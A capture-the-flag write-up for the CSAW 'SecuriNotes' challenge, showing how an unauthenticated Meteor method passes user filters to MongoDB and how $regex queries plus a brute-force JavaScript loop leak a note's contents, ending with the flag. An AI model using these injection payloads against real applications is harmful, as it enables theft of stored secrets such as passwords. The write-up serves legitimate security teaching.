securinotes

Meteor NoSQL Injection

Description

You have access to the SecuriNotes application. You overheard your coworker Terry talking about how he uses it as a password manager. What could possibly go wrong...

Author: h34d4ch3, RangeForce

http://web.chal.csaw.io:5002

Solution

In the front-end JavaScript source code, we can see that Meteor is being used to fetch data from a MongoDB backend.

First, let's find all the exposed Meteor methods. We can see that notes.count, notes.add and notes.remove are publically callable methods.

Meteor.methods({
  'notes.count': function (filter) {
    return Notes.find(filter).count();
  },
  'notes.add': function () {
    let user = this.userId;

    if (!user) {
      throw new Meteor.Error('not-authorized', "You are not logged in.");
    }

    return Notes.insert({
      body: "### Title\n\nNew note\n\nCreated at " + new Date().toLocaleString(),
      owner: user
    });
  },
  'notes.remove': function (id) {
    let user = this.userId;

    if (!user) {
      throw new Meteor.Error('not-authorized', "You are not logged in.");
    }

    return Notes.remove({
      _id: id,
      owner: this.userId
    });
  }
});

In particular, though, notes.count is unauthenticated. Let's start there! From the above code, it seems like notes.count applies some kind of filter and the backend server returns the number of notes that pass the filter.

In Burp Suite, I found that this method was being called through websockets. Upon connecting to the webpage, this was being sent to the server:

["{\"msg\":\"method\",\"method\":\"notes.count\",\"params\":[{\"body\":{\"$ne\":\"\"}}],\"id\":\"1\"}"]

The $ne filter checks whether the body of the notes is not equal to an empty string. After a bit of fiddling, I found that $regex was accepted too. This allows us to specify a regex pattern for the note contents. To verify, I checked that the following only returned one result:

["{\"msg\":\"method\",\"method\":\"notes.count\",\"params\":[{\"body\":{\"$regex\":\"flag{.*}\"}}],\"id\":\"1\"}"]

Here, we are checking for notes that match the regex pattern flag{.*}, which is the flag format. The result will be 1, because only one note contains the flag.

We could extend this to bruteforce every character of the flag. By appending each possible character at the end of the flag, we can check which character causes the count to return 1 (the rest will return 0).

let curr = 'flag{';

const lowerAlph = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"];
const upperCaseAlp = ["A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"];
const numbers = ["1", "2", "3", "4", "5", "6", "7", "8", "9", "0"]
const charset = lowerAlph.concat(upperCaseAlp).concat(numbers).concat(["{", "}", "_"])
console.log(charset);

for (i = 0; i < charset.length; i++)
{
    let char = charset[i];
    console.log(char);

    Meteor.call('notes.count', {
        body: {
            $regex: curr + char + '.*'
        }
    }, function (err, res) {
        if (res !== 0)
        {
            console.log(char);
        }
    });
}

The flag is flag{4lly0Urb4s3}.

References

Last updated